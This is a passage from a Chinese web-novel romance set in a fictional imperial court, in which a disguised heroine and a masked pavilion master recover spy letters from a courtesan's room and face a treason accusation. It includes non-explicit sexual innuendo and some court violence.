温若初吃痛,侧脸被迫紧贴粗糙墙壁,硌得生疼,整个人被禁锢住,丝毫动不得。 老鸨子明明说水仙房间里没人,这人是从哪蹦出来的? 总不至于是这水仙姑娘暗室里藏了一个小白脸,再去接待莫易宇。 没看清钳制着她的人的脸,从这人身手上不难猜测,此人身手不错,是个练家子。 温若初心里咯噔一下,暗道:这下遭了,不会噶了她吧? 好汉不吃眼前亏,赶紧求饶,“好汉饶命,小生仰慕水仙姑娘,慕名而来,无意进入此处,更无冒犯之意。” 话音落地,身后之人似乎愣了愣,钳制在胳膊上的力道明显松了一些,似乎是陷入进退两难的境地,力道松了,却没有完全放开她。 温若初暗暗松了一口气,下意识想回头,听见身后之人突然沉声道。 “别出声!” 也不知是碰到什么机关,博古架缓缓闭合,本就光线昏暗的暗室,被夺走最后一丝光亮,漆黑一片,伸手不见五指。 钳制在她身后的那只大手,慢慢松开她。 温若初揉了揉胳膊,尽管看不见,尽管这人只说了一句话。 还是很快猜出了此人身份,正是沈惊澜。 看样子沈惊澜不像是正大光明来的,和她一样趁着水仙不在,鬼鬼祟祟摸了进来。 她来找莫家父子通敌的证据,沈惊澜来干嘛? 突然有一种干坏事,遇到老熟人的欣喜感。 “沈惊澜?”温若初试探性地小声问道,“你怎么会在这……” 一句话未说完,唇上触上来两根并拢带着薄茧的指腹,暗示性地压了压,示意她别说话。 只听得墙外“吱嘎”一声,房间门似乎开了,紧接着男女打情骂俏的嬉笑声穿透墙壁传进暗室。 黏腻的女声娇柔带着笑意,“莫小将军,奴家等了你好长时日,难不成莫小将军成了亲,就把奴家忘了?” “忘了谁也不能忘了我们的水仙姑娘啊,”莫易宇哈哈笑了两声,“家里哪有水仙姑娘的卧房销魂啊。” 水仙:“莫小将军的新婚娘子能舍得让你出来?她可是安王的掌上千金,小将军不怕?” “怕什么?是安王上赶着拉拢我们莫家,再说了那凌妙隔三岔五回娘家,饭菜不合口味也好回去抱怨一通,我那个岳母回头就数落我。” “近来圣人过问好几次禁军新布防什么时候实施,我和父亲正抓紧给新布防里查缺补漏,哪有闲工夫搭理她。” 莫易宇本以为娶了凌妙,就可以怀抱佳人,琴瑟和鸣,娘子在家相夫教子,孝顺公婆,他也能全心奔着仕途使劲。 没想到凌妙住将军府没几日,这里看不上,那里看不顺眼的,对他爹娘也不冷不热的,一副大小姐做派。 他从小在军营长大,父亲叔伯都是行伍,糙惯了,哪里能伺候她那个娇小姐。 莫易宇忍了两日就受不了了。 趁着凌妙回娘家,来水仙这里寻求一下温存,喘口气,和红颜知己说点掏心窝子的话,这些日子可把他憋坏了。 都说妻不如妾,妾不如偷,莫易宇偷摸溜出来,和水仙两人你侬我侬,说情话的功夫,漏勺似的就把禁军近况透露给了水仙。 孤男寡女旧情人见面,难舍难分,很快双双滚到床上。 莫易宇也是个急色的,没多大功夫床板就发出“吱呀吱呀”暧昧声响,伴随着秦楼花魁的娇喘和浪叫声。 墙壁不隔音,温若初身处暗室,眼前一片漆黑,墙外莫易宇和水仙欢好的声音,无比清晰地传了进来。 温若初能听到,沈惊澜自然也能听到。 两人到底是有过那么荒唐一夜,最近一段时日,也都心照不宣地选择不提。 如今两人同处密闭空间,耳边尽是淫词浪调,想忽略那晚的记忆都难。 若是没有那一夜,温若初说不定此时能当做乐子,逗逗沈惊澜,拉着沈惊澜在此听墙角,就当做是听声优了。 可偏就有那么一夜。 这……就很尴尬了。 沈惊澜不言语,温若初能感觉到沈惊澜就站在她身后不远,甚至能清楚地感受到沈惊澜身上那股冷冽的气息。 也幸亏这间暗室光线不错,看不见沈惊澜,温若初脑袋抵着墙壁,指甲扣着墙壁。 心里默念,“这墙可真墙啊,这墙可真墙啊……”当做清心咒。 她感觉像是被人上了酷刑,默默祈祷这两人可快点结束吧。 温若初如热锅上的蚂蚁,身心备受煎熬。 沈惊澜倒是觉得没什么,不过是动物繁衍本能罢了,甚至觉得有点恶心。 暗室伸手不见五指,他夜视能力极佳,能模糊看到温若初的身影,像个鹌鹑似的脑袋埋在墙壁上,看着有趣多了。 也不知过了多长时间,墙外正是激烈酣战之时,忽听得“咣当”一声,像是有人破门而入,一阵凌乱脚步声响起,像是来了很多人。 “好你个莫易宇,居然到秦楼里滚混了!” 一道尖锐女声随着破门声传来,“小贱妇也不打听打听我是谁,赶勾搭我家相公,我看你是活得不耐烦了。” “啪!” “咚!” “凌妙!你在闹什么?” 一时间哭闹声,打骂声,劝阻声,混合在一起,声声不绝于耳。 这下没有尴尬了,温若初竖起耳朵听墙外的热闹。 凌妙来捉奸了,这下有好戏看了,安王府和莫家要闹上一阵子了。 不过也不会太久,毕竟水仙是雍国细作的身份就是一个定时炸弹,随时都会把这场闹剧推向高潮。 一阵吵闹过后,花魁娘子水仙似乎是被凌妙带走了,墙外重新归于平静。 只剩下暗室内两人,沈惊澜应该是触到了机关,博古架缓缓移开,刺目光线射了进来,温若初终于得以看清沈惊澜身影。 第72章 遇熟人 沈惊澜身穿玄色衣袍,白玉腰扣紧扣劲瘦腰身,更显人挺拔修长,五官深邃而精致,穿的是天机阁阁主平常穿的衣裳,却没戴那枚阎罗面具,一身矜贵又冷漠疏离的气息。 明明知道沈惊澜就是天机阁阁主,可这样的沈惊澜温若初还是第一次见。 温若初抬头看着沈惊澜,这种感觉很奇妙,好像同时认识了两个相貌相同,性格迥异的人。 哪个好呢? 沈惊澜平常不声不语,温顺得跟个小奶狗似的,偶尔还会跟她撒撒娇,吃吃醋。 天机阁阁主更像德牧,看着挺唬人,谁都不搭理,安全感爆棚。 沈惊澜没给她对比的时间,抓着她的手腕,“走。” “哎……” 温若初没忘正经事,莫家通敌的证据还没找到呢。 “等会,我还没找东西呢。” 沈惊澜像是没听到她说话似的,也不管她说什么,脚步不停地把她带出房间。 刚走到楼梯,老鸨子骂骂咧咧领着几个龟奴朝水仙房间走去。 “一个个的眼瞎,看着人来不拦着点,”老鸨子拉着脸,吐沫星子横飞,“老娘花了那么多银子养闺女,被你们几个没眼力见的毁了……” 两人不约而同放缓脚步,和老鸨子一伙人擦肩而过。 这下也不能折返回去继续找,想着改日寻个别的由头过来。 温若初只能乖顺地跟着沈惊澜下楼。 “温小爷?” 一道声音叫住了她,温若初回头,一个二十多岁男子,手里拎着酒壶,喝得东倒西歪,滴溜溜的眼珠,不确定的视线落在温若初身上。 温若初一下子就认出了此人。 好嘛,来一次秦楼,遇到的熟人还不少,此人正是黑市摊主二狗,火灵珠就是在他手里花了五千两银子买的。 二狗见温若初回头,踉踉跄跄地走了过来,上下打量温若初,许是上次见面的温若初一身粗布麻衣,和眼前世家公子哥的形象有些出入。 二狗笑得一脸谄媚。 “还真是温小爷!我就知道温小爷不是一般人,这一身贵气,没想到温小爷也有如此雅兴,来秦楼吃酒。” 温若初扯了扯嘴角,“好巧,回聊。” “别走啊,”二狗上前就过来搂温若初的脖子,往自己身边带,“我跟着你说,你让我办的事,我办妥……啊!” 一句话没说完,尾音一声凄厉的惨叫。 二狗的手腕被掰成折叠形状,松开温若初,疼得呲牙咧嘴,冷汗直冒,瞪大眼睛,一脸愤怒地看着沈惊澜。 “你特妈有病吧!” 二狗声音不小,不少人探头探脑朝这边张望。刚听完莫家和安王府的热闹,转头他们成为热闹的那个。 温若初一脸尴尬,“有什么好看的?都散了散了。” 沈惊澜面色冷淡,丝毫没受到旁人目光影响,像是看蝼蚁一样的冷漠眼神,余光扫了一眼二狗。 揽过温若初肩膀,带着几分命令的口吻,言简意赅道。 “走。” 温若初曾拜托过二狗,让二狗帮忙打听天机阁,二狗方才未说完的话应该是和天机阁有关。 温若初脚步灵巧移动,转了一圈,脱离沈惊澜揽过来的胳膊,歉意地笑了笑。 “那个……我有点事,马车在外面,你先去马车里等我。” 沈惊澜眸光冷厉深邃,微微蹙了蹙眉头,看着温若初似乎是想说什么,顿了顿终是什么也没说,恭顺地点了一下头,转身就走。 沈惊澜什么都没说,温若初也知道,这小子又生气了。 最近沈惊澜也不知道抽的什么?动不动就生气。 沈惊澜的确是带着怒气出的秦楼大门。 什么人都能和她攀上,沈惊澜心里莫明不痛快。 温若初一个女儿家,她来这种地方干什么?还扮成男人的样子,说什么慕名而来找水仙? 沈惊澜出门就看见博阳侯府马车停在路边,冯文依靠车厢,耷拉着脑袋,都快睡着了。 从怀里掏出一沓信,顺着马车车窗,丢进车厢,而后才叫冯文。 “冯文。” 冯文迷迷糊糊睁开眼睛,四下看了看,视线聚焦在沈惊澜身上。 和温若初反应差不多,像是不认识沈惊澜似的,盯着沈惊澜看了半天,才确定是住在苍兰苑的那个病秧子沈惊澜。 沈惊澜腰身挺拔,手脚干净利落,眸光冷酷,往那一站,烛火映在他那张俊脸上极具压迫感。 冯文不觉做正身姿,抹了抹嘴角的口水。 “沈惊澜?”瞅了一眼秦楼方向,“你怎么在这?郡主呢?” “在秦楼。” 沈惊澜说了一句废话。 冯文当然知道郡主在秦楼,平常肯定碎嘴呛沈惊澜两句,今天不知道为何,怼沈惊澜的话堵在嗓子眼,愣是说不出来一个字。 沈惊澜在外面等了没多久,温若初从秦楼里出来了,和方才那个不长眼的醉鬼有说有笑。 沈惊澜脸上蹙起的眉头,蹙得更深了。 温若初和二狗分开后,瞧见沈惊澜站在马车旁。 “大冷天的,怎么不上车啊?” “等郡主。”沈惊澜恭顺地伸出胳膊,让温若初扶着他上车。 温若初扶着沈惊澜手臂,鞋子刚搭上马,突然偏头问道。 “你怎么来这了?”上下端详沈惊澜,“穿这身衣裳,还挺好看。” 紧蹙在一起的眉头瞬间欢快地舒展开,沈惊澜抿了抿唇,不答反问。 “郡主为何扮成这个样子,来这种地方?” “你还没回答我……” 温若初凑近沈惊澜,还是问了前面那个沈惊澜试图蒙混过去的问题,她倒是想看看沈惊澜这张嘴能硬到什么程度。 “你干嘛来了?” 沈惊澜身体后倾,想要避开温若初的逼问视线。 “见朋友。” 温若初抓着沈惊澜的胳膊,把人往身前拉了拉。 “什么朋友?姓甚名谁?家住何方?” “只是萍水相逢的朋友,姓张……” 沈惊澜随口编了一个张姓朋友,对秦楼花魁娘子爱而不得,意图盗取花魁娘子贴身之物做念想的悲情故事。 逻辑清晰,思维缜密,编得有鼻子有眼,还把自己摘了出去。 甚至那间暗室都有了合理解释,说成了是那朋友带他去进去的,朋友走了,把他留在了那,他也不知道怎么回事? 温若初耐着性子听完,打心底里佩服沈惊澜的临场应变能力,不甘地点了点头,掀开车帘,钻进马车。 第73章 人美心善沈世子 温若初钻进马车,尽管夜晚光线不好,还是搭眼就瞧见了放在软垫上的一沓信。 她的这两马车就像是阿拉丁神灯一样,总是不经意间带给她想要的惊喜。 大致扫了几眼书信中内容,正是雍国六皇子沈飞白和水仙的往来通信,信中多次提及莫家父子。 信中虽没有明确表示莫家父子是否和雍国六皇子沈飞白搭上线,有了这些信,足够莫家喝一壶的,莫刚禁军统领的位置肯定保不住了。 温若初面色激动,嘴角不觉翘起,这回莫家自顾不暇,应该没有多余的精力去她的女学捣乱了。 不用问,这些“来历不明”的信,定是沈惊澜放到车里的。 难怪沈惊澜会出现在秦楼花魁娘子水仙房间,原来是阁主大人亲自下场帮她找证据,还扯什么对花魁娘子爱而不得的张姓朋友。 她若不是穿书来的,还真被沈惊澜忽悠过去了,真当她什么都不知? 温若初腹诽一阵,同时一股暖流从心底划过。 和沈惊澜这么长时间相处以来,沈惊澜好像一直都在默默地帮她,想起前两日为此还怀疑沈惊澜来着,心里愈发愧疚,自己都想扇自己两巴掌。 出声叫住沈惊澜,“沈惊澜。” 沈惊澜坐在温若初对面,抬眼看向她。 温若初眸色认真道,“对不住,”没等沈惊澜做出反应,又晃了晃手中信件,“谢了!” 不需要过多解释,这两句话沈惊澜都听懂了。 沈惊澜心里清楚温若初对他存试探之意,大虞女皇向来认为非我族类其心必异,温若初从小在大虞女皇膝下长大,深受其影响,理解温若初的做法。 若是身份转换,他是主导的那一个,以绝后患,早把人杀了,哪里会留他一命到现在。 沈惊澜嘴角微不可查地翘了翘,还是装作没听懂似的,轻声问道。 “什么?” 又在跟她面前演戏,温若初心里叹了一口气。 看在阁主大人亲自帮她找证据的份上,暂时不和沈惊澜一般计较了。 难得愿意配合他装傻充愣一回,唇边笑容不觉扩大了一些。 “说你人美心善。” 马车内光线不好,沈惊澜的身影又大半隐在阴影之下,瞧不见沈惊澜神色,温若初能感觉到沈惊澜笑了。 扭头隔着车帘吩咐冯文,“去大理寺。” 她到底不是朝臣,为了不让自己身上沾腥,不能直接拿这份证据去找女皇。 温清柔知道莫易宇的姘头水仙是雍国细作,想用这份天功换取恢复凌玄澈的宗室身份,以及谋划禁军统领的职位。却迟迟没有动手,十有八九也是在寻找这份证据。 如今这份证据落到了她手里,禁军统领的位置,她就要谋划一二了。 纵观朝野上下,从未参与过夺嫡党争的也没剩下几人,稍微熟悉些的只有凌玄礼。 也是巧了,温若初和沈惊澜带着信件去大理寺找凌玄礼的时候,王丞相也在。 最近朝廷派大理寺查一桩贪墨案,王丞相来询问进展情况。 凌玄礼和王丞相都是秉性纯正之人,两人同在,就像是特意关照温若初似的。 寒暄过后,王丞相打量温若初,脸色阴沉,“怎么打扮成这个样子?马上要宵禁了,你要去哪?” 温若初嘿嘿一笑,把沈惊澜讲的张姓朋友,对秦楼花魁娘子水仙爱而不得的故事,进行二次加工创造讲给王丞相和凌玄礼听。 还把信件递给两人,说是在暗室中无意发现的。 凌玄礼和王丞相看完信,脸色均是一惊。 凌玄礼冷哼一声,“莫易宇身为禁军校尉,竟然如此荒淫无道,新婚燕尔弃妻子与不顾,不顾身份,跑到秦楼楚馆寻欢,泄露我朝军事机密,简直就是不仁不义不忠,其罪当诛。” 王丞相拿着信纸,眉头深蹙,若有所思补充凌玄礼的话。 “水仙即雍国细作,长时间受恩于莫易宇,莫易宇势必会连累整个莫家,莫刚首当其冲要定个御下不严之罪,是为不孝。” 温若初摆出一副吊儿郎当无所谓的姿态,随手拿起两块摆在碟子里的点心,递给沈惊澜一块,自己吃一块。 在凌玄礼的王丞相说话的时候,趁机溜缝。 “谁说不是呢,我和沈世子找到这些信的时候,都吓傻了,想着这是大事,得赶紧告诉你们一声,”吐了一口瓜子皮,“谁曾想,赶上安王家的凌小姐去找莫小将军。” “莫小将军正和水仙……凌小姐气不过,就把水仙带走了。” “你们要想找水仙问话,赶紧去莫家,去晚了那水仙容易被凌妙打死,你们就什么都问不出来了。” “水仙被凌小姐带走了?”凌玄礼追问。 “不光带走了,还打得鼻青脸肿的,凌小姐带着好几个人去捉奸,能有那水仙好果子吃?说不定这会那莫小将军都挨揍了。” 温若初故意往严重了说,事不宜迟,她是真希望快点料理了莫家。 凌玄礼和王丞相对视一眼,觉得此事非同小可,不宜久拖。只是莫刚手握可掌握京畿军事的禁军,又是圣人亲自提拔,这事必须得先奏明圣人,等圣人裁决。 趁着还没宵禁,两人带着信件急匆匆进宫。 温若初算是首告,也一并前往,还顺带拉上了沈惊澜,守在宫门口,等着圣人传召。 温若初坐在马车里,困得东倒西歪,眼瞅三更天已过,还是没有任何动静。 她都快怀疑凌玄礼和王丞相有没有把信呈递给圣人。 温若初打了不知道多少个哈欠,沈惊澜突然起身坐到她旁边,背对着她。 温若初诧异道,“干嘛?” “困了就休息会,”沈惊澜微微侧头,“后背借你靠一下。” 温若初轻嗤一声,用只有自己能听到的声音,小声嘀咕。 “还借我靠一下,好像多勉强似的。” 说是这么说,架不住眼皮直打架,还是靠在沈惊澜后背上,温热体温透过布料传递到她脸上。 脊背宽阔,还有些硬,竟然觉得还挺舒服的。 温若初闭着眼睛,也不知道过了多长时间,马车外传来一阵低沉的吵闹声。 掀开车窗帘,天色已隐隐发亮,数十辆马车停到宫门口,从马车上下来的也都是些女眷。 那些女眷一个个神色透着兴奋,好像有什么好事临头的样子,自觉分成两列,由宫人领着进宫。 温若初的马车距离门口有些远,认出了安王妃和凌妙的身影。 凌妙正在府里收拾那个勾引莫易宇的小贱人,圣人突然传召安王府女眷侍疾,还顺带叫上了莫大娘子和莫瑶。 凌妙想着,父王到底是圣人所出,病重的时候第一个想到的还是亲儿子。 圣人突发恶疾,临时传召,储君之位八成要定下了,她以后可就是公主了,那个温若初算什么东西,也就蹦跶这两日。 这些年不知道有多少人眼红嫉妒温若初,到时候不用她动手,有的是人想要作践温若初。 想起莫易宇和花魁娘子在秦楼翻云覆雨的场面,莫瑶和莫大娘子帮着莫易宇瞒着她,凌妙怒气难消。 等她当上公主,定要把这份恶气讨要回来。 回头瞪了一眼莫大娘子和莫瑶,叮嘱道。 “侍奉皇祖母可得精细着些,有不懂的随时问我,千万别闷声不语的,什么事都瞒着。” 莫大娘子能听出来凌妙话里有话,还不是凌妙刁钻任性,抓不住男人的心,莫易宇才去找花魁娘子。 但凌妙是皇亲贵胄,身份尊贵,以后怕是得罪不起了,她这个当婆母的更不能说什么了。 心里不痛快,也只能扯起嘴角陪笑脸。 “哎,我儿媳妇就是体贴,知道了。” 莫大娘子走在宫道上,周围寒气刺骨,不知为何,心突突地直跳,总觉得这次进宫会有不好的事发生。 第74章 约见 随便找来一个小宫女打听才知道,圣人昨夜突发疾症,召来安王和莫家家眷侍疾,方才入宫的那些是两家的家眷。 温若初赏给小宫女二两银子当茶水钱,让小宫女有事随时告诉她。 依照温若初的受宠程度,圣人突发疾症,最应该传召温若初去侍疾。 王丞相和凌玄礼一夜没出来,一大早又把安王和莫家家眷召入皇宫…… 在这里面八成有事。 冯文问道,“圣人突发疾症,要不要把府上那颗三百年的老山参送给圣人?” 温若初瞅了一眼沈惊澜,沈惊澜也在看她,两人心照不宣,相视一笑。 等了半宿都没传召温若初,这事就和温若初没关系了。 他们等在一边看好戏就好。 温若初伸了一个懒腰,心情蓦地轻松,余光偷瞄一眼沈惊澜,嘴角微微勾起一抹坏笑。 抬头扬声吩咐冯文,“回府。” 昨晚在秦楼巧遇二狗,二狗叫住她,说的确是沈惊澜的事。 沈惊澜打了二狗,气呼呼地走了之后,温若初找了一个相对安静的地方,“说吧,天机阁有消息了?” 二狗五官狰狞地揉捏手腕,含着几分怨气的语气道。 “没有消息我也不敢叫您啊,本来是打算这几日找您的,没想到在这碰上了。” 二狗喋喋不休抱怨,指着沈惊澜早已离开的方向。 “不是,那人谁啊?长着一张冰块脸,老子又没把他怎么样?他吃错药了吧!什么东西……” “行了!” 温若初拧了拧眉头,冷声打断二狗。 二狗说的虽说是事实,可到底和沈惊澜一个院里住着,相处一段时间,这话听着莫名不顺耳。 “直接说事。” 二狗脸色变得也快,立马挤出一张笑脸,凑近温若初压低声音道。 “您不是让我打听天机阁?我是真把您的事当成自己事,放心上了,费了九牛二虎之力,通过我一哥们交上了天机阁阁。” 像自己是天机阁阁主似的,挺着胸脯,一脸傲娇,“我跟你说,这天机阁可了不得啊,涵盖业务之广泛,底下门徒下属之众,你想都想象不到。” “就昨天,我还跟天机阁阁主我们一起喝酒来着,我们相谈甚欢,我比他大,还管我叫大哥呢,温小爷想和天机阁阁主做什么生意?尽管和我说就行。” 温若初跟着哈哈假笑两声,不知道二狗若是知道方才掰他手的冰块脸就是天机阁阁主,会是什么表情? 她今天已经看够了热闹,没那个兴致逗二狗。 二狗既然知道天机阁的底细,应该确实是攀上了天机阁的人。 温若初思忖片刻,掏出一张一百两的银票。 “我手上有一笔大生意,需当面和天机阁阁主详谈,狗哥帮忙约一下,这些当做茶水钱,事成之后少不了你的银子。” 温若初坐在马车里,心里暗暗发笑,二狗当时就同意了,今天会约天机阁阁主和她见面。 沈惊澜一直不承认,看他这次还怎么赖。 马车行驶在朱雀大街上,眼瞅往前一条街朝里面拐就是有间书坊。 温若初突然出声,“停车。” 沈惊澜疑惑的眼神看着她,温若初一想到接下来要发生的事就想笑,也不避讳沈惊澜。 “听闻天机阁业务广泛,门徒下属遍布九州,我手上有一笔大生意,去找天机阁阁主谈,已经联络好中间人了。” 指着马车停下的醉仙楼门口,“就在天字号雅间,你反正也没事,和我一起去,下车。” 沈惊澜眸色顿了顿,倒吸一口凉气,他是万万没想到温若初还准备了这一出。 天机阁日常事务交由追风打理,温若初通过那个中间人约的八成是追风,追风是个直肠子,他若是跟着温若初一起进去,一准露馅。 跟着温若初一起下车,沈惊澜站在门口踯躅不前,犹豫着开口。 “我……我突然想起来,我还有事,不能陪同郡主前去,郡主见谅。” 温若初看破不说破,挑了挑眉梢。 “也行,那你回去吧。” 她难得善解人意一次,善心大发让人走,紧接着来了一句,“反正有外人在也挺不方便的。” 言外之意好像要做什么私密的事,沈惊澜这个“外人”在不方便。 第75章 阁主大人 这话有点意味不明的意思,沈惊澜暗自庆幸,都转身走了,听到这句话,心都跟着翻了一个跟头,两条剑眉微微蹙起,独自朝博阳侯府方向步行回去。 温若初看着沈惊澜仓皇离开的背影,嘴角勾起恶作剧得逞的弧度,她还真就不信这个邪,沈惊澜不来。 二狗早已等候在醉仙楼天字号雅间内,见温若初前来,像看到财神爷似的,朝温若初迎了过来。 “呦,温小爷您来了,阁主还没到呢,您稍等会二儿。” 温若初当然得等着,二狗已经约好了人,天机阁刚打响名声,总不会砸自己的招牌,失信于人。 温若初坐在椅子里,半盏茶下肚,门板被推开,一前一后走进来两人,走在前面的那个一身玄色衣袍,面上戴着阎罗面具。 紧跟着走在后面的,宽额头,高鼻梁,身穿烟灰色束口短衫,腰间陪着一柄短剑。 戴着面具的是沈惊澜,跟在沈惊澜身后的,温若初瞧着也眼熟,好像在哪里见过。 追风跟着沈惊澜进屋,余光快瞄了一眼温若初,和温若初岂止是见过,互相打过不知道多少次照面了。 他的下属说居间人介绍了一单大生意,原本是打算他自己来的,也不知道怎么回事,阁主非要出面过来谈。 见了面才知道,原来居间人介绍的主顾是乔装成男装的温若初。 二狗作为中间人,也就是和什么都不懂还妄想闯出一番名堂的公子哥面前吹吹牛,他找了好几个哥们才和天机阁搭上线,更没见过什么天机阁个阁主。 一下子进来两个,二狗到底是混迹市井的地头蛇,搭眼就瞧出了戴阎罗面具的说了算。 于是尽职尽责地履行居间人职责,给温若初和沈惊澜做介绍。 “这位是温小爷。” “这位就是天机阁阁主了,”二狗笑凑近温若初压低声音,“咱手里有什么事,直接说就成,活可能是能干明白,价钱方面有不满意的也没关系,过后我去帮你找补,这点您绝对放心。” 温若初没搭理二狗,直白的视线,稍显放肆地落在沈惊澜身上。 沈惊澜坐在温若初对面,面具后的脸色不大好,由着温若初打量片刻,公事公办的语气道。 “这位兄台有什么事,不妨说来看看。” 温若初放下茶盏,“你们都出去,我有话和沈阁主单独谈。” 哪有正经谈正经生意,需要清场的?沈惊澜不动如山。 “兄台有话直说即可,我天机阁既然肯生意,”沈惊澜声音中带着天机阁阁主特有的,不容置疑的威严,“便不会泄露半分机密,在场皆是我信得过之人,兄台无需担忧。” “那我可说了……” 温若初故意停顿了一下,嘴角带着一抹若有似无的笑意,笑意里带着几分难以掩饰的促狭,起身踱步到沈惊澜面前,微微弯腰,俏皮灵动的眸子直视沈惊澜。 “……我要和阁主大人谈的生意是……人生大事。” 话音落地,面具后的那张俊脸划过一丝紧张和慌乱,还掺杂着几分期翼。 无意识地端起茶盏,凑到嘴边才想起来脸上带着面具,有些窘迫地放下,转而摩挲茶盏外沿。 温若初并未刻意压低音量,这话听在旁人耳朵里倒也稀松平常,不是人生大事怎么会求到天机阁头上。 二狗不以为意,丝毫没有察觉到萦绕在温若初和沈惊澜之间的异样氛围,还想着一会谈成了生意,吃回扣呢。 腿脚勤快地给温若初和沈惊澜续茶。 “出去。”沈惊澜淡淡出声。 “啊?” 二狗手里拎着茶壶,还没等他倒茶呢,就听见这么一句。 他是居间人,让他出去,他上哪赚钱去? “不……” 一个字没等说出口,后领子被人拎了起来。 “我们阁主让你出去。”追风抓着二狗衣领,拖拖拽拽地离开房间,还特有眼力见地随手把门带上了。 房间里只剩下温若初和沈惊澜,气氛紧张,尴尬,又暧昧。 沈惊澜手里捏着茶盏,指腹泛白,抬眼瞅了温若初一眼。 “这位兄台可以说了。” 温若初双手撑在沈惊澜座椅的扶手上,近距离直视面具后面的那双眼睛,眸色认真问道。 “可愿与我相好?”顿了顿补充一句,“随时可以散伙的那种。” 这话听着有点渣,像是一个流连花丛的公子哥,调戏刚认识姑娘说的话,和温若初今天穿的这身衣裳莫名的搭配。 温若初并非对感情不专一之人。 沈惊澜不管是作为雍国质子,还是天机阁阁主,他早晚都是要走的。 温若初从小没吃过什么苦,奉行及时行乐,今朝有酒今朝醉的人生信条。 沈惊澜模样不错,她也能感觉到沈惊澜应该是不讨厌她的。 温若初想邀请沈惊澜当着恋爱搭子,等沈惊澜回雍国的那日,大家心里都没有负担。 温若初觉得自己的提议简直完美。 可沈惊澜的脸色并不好,准确地说是当温若初的那句补充说出口后,脸色不好。 沈惊澜墨黑深邃的眸子盯着温若初,眸底竟然生出几分咬牙切齿的情绪出来,掺杂着一丝旁人不易察觉的委屈。 又像是被气到了,捏着茶盏的指腹泛白,好像下一瞬就要动手打人似的。 温若初察觉到了沈惊澜身上丝丝缕缕往外冒的戾气,柳眉不解地拧了拧,她又哪里惹到他了? 不愿意就不愿意呗,至于生气吗? 沈惊澜的态度,对于她来说,好像有一桶冷水突然兜头泼在她身上。 温若初丧眉搭眼,眼底闪过一抹失落,故作大方地笑了笑。 “不愿意就算了。” 趁沈惊澜没有准备,手快地扯掉挂在沈惊澜脸上的面具,“咣当”一声扔在桌上,“你戴不戴我都认识你,马甲早掉了。” 说完直起身,作势转身就要走,指尖却突然被一只带着薄茧的大手拉住。 沈惊澜没阻止温若初摘面具,面具摘下,露出一张祸国殃民的脸,神色复杂难辨,微微蹙着眉,好像很痛苦,又压抑着愤怒的样子。 “没有……” 第76章 雍国细作 沈惊澜刚开口说话,门板突然被敲响,“咚!咚!咚!” 一声接着一声,声音很急,像是有什么要紧事。 温若初随性惯了,正是关键时刻,天塌下来也得等着。 她原本是打算和沈惊澜双双把家还,没想到沈惊澜这小子不愿意,强扭的瓜不甜,不愿意就不愿意。 也没管沈惊澜到底想说什么。 抽出手,转身就去开门。 冯文站在门外,身边还站着一个身穿宫装的小宫女,小宫女神色焦急。 冯文道:“郡主,这位姑娘说有急事找你。” 温若初认识这个看起来年龄很小的宫女,正是一大早打听宫里情况的那个。 临回来之前拜托这个宫女,有什么事及时告诉她。 这个小宫女能找到醉仙楼来,定是宫里出了什么要紧事。 让小宫女进屋,回手关上门,温若初问道:“出什么事了?” 小宫女给温若初行了一个礼。 “郡主,奴婢听正德殿一个当差的姐妹说,圣人昨晚并未突发疾症,把莫家和安王府家眷关在一处,暗中命大理寺的人押了安王和莫家两位将军,还带回来一个女子,连夜审问。” 事情发展和温若初预料的差不多,“然后呢?” “然后……奴婢听姐妹说,那女子是雍国细作,接近莫家只为窃取禁军机密,还说那细作承认受命于沈世子。” “前些日子郡主又求圣人把沈世子赐给您,安王和莫将军还有莫小将军,一口咬定是郡主有不臣之心,联合敌国质子意图谋害圣人性命,谋求大虞江山。” 小宫女愿意帮助温若初,从小父母双亡,和妹妹寄住在舅舅家,舅母嫌弃她们姐妹,舅舅是倒插门说不上话。 她早早便入宫为婢,补贴家用,女学创办之后,妹妹受郡主恩惠在女学读书,她最大的希望就是妹妹有一天能通过科举,谋求一官半职,她这辈子也算是无憾了。 女学没有郡主推行不下去,这天下只有郡主在真心为女子做事。 郡主恩惠,她记在心里,一听说郡主有难,花了好多银子和掌事姑姑告了假,才得以出来通风报信。 小宫女急得脸色通红,关切地拉着温若初的手。 “郡主,圣人已经命人传您和沈世子前去正德殿回话,传旨姑姑这会已经在路上了,您可得提前做个打算啊。” “放他娘的狗屁!” 温若初没忍住骂了一声,这个世界上最希望女皇长命百岁的人八成就是她了,女皇出了事对她有什么好处。 水仙分明是莫易宇养的姘头,莫易宇身为禁军校尉,嘴上没把门的,泄露了禁军机密。 居然也能扯到沈惊澜头上,还妄想给她安一个谋逆之罪。 沈惊澜走了过来,安慰道。 “别急,不过是一面之词,圣人若是相信,直接让禁军来了,而不是派传旨的姑姑。” 温若初点头,理是这么个理,可就是气不过安王和莫家父子往她身上泼脏水。 温若初自信不会有什么事,她瞅了一眼沈惊澜,叹了一口气。 沈惊澜怎么说都是雍国质子,水仙一口咬死受沈惊澜指使,这事还稍稍有点麻烦。 沈惊澜拒绝她,心里的确是有点不好受。 可不能因为人家不和她处对象,就把沈惊澜推出去,往死里整她。 沈惊澜最近可没少帮她,她不能没良心。 温若初反过来安慰沈惊澜一句,“别怕,姐罩着你。” 像哥们似的,拍了沈惊澜后背一巴掌。 两人之间那点紧张尴尬气氛,随着小宫女带来的消息消失不见。 沈惊澜看着温若初挺起胸脯,梗着脖子的模样,轻笑一声。 大虞女皇并非昏君,子虚乌有的事,没什么好担心的。 墨黑的瞳仁里闪过一丝狠厉,该担心应该是莫家,眼下胡乱攀咬,不过是强弩之末罢了。 只是…… 有凌玄礼和王丞相在,大虞女皇亲下旨意,那位花魁娘子应该和莫家父子没有机会串供才对。 为何会扯上他和郡主? 事不宜迟,温若初让小宫女赶紧回去,带着沈惊澜回府接旨。 在博阳侯府和传旨姑姑打了一个照面,换回女装后,同乘一车,一起去皇宫。 正德殿 女皇身穿龙袍高坐龙椅之上,芳若姑姑和上官随侍左右。 凌玄礼的王丞相面色严肃地站在一边。 安王以及莫家父子跪在殿前,殿中央跪趴一个头发糟乱女子。 女子身穿被血然染红里衣,身上伤口密布,纵横交错。 温若初扫了一眼女子,猜想这位应该就是今天的主角,秦楼花魁娘子水仙。 被磋磨成这副鬼样子,也不知是凌妙打的,还是大殿上受了刑。 温若初和沈惊澜并排跪地叩首,“吾皇万岁万岁万万岁。” 女皇面带愠怒,一脸上位者的威严,没让他们起身。 “沈惊澜。” “臣在。” “这个什么花魁娘子你可认得。” 沈惊澜侧目朝水仙瞅了一眼,恭敬答道。 “认得。” 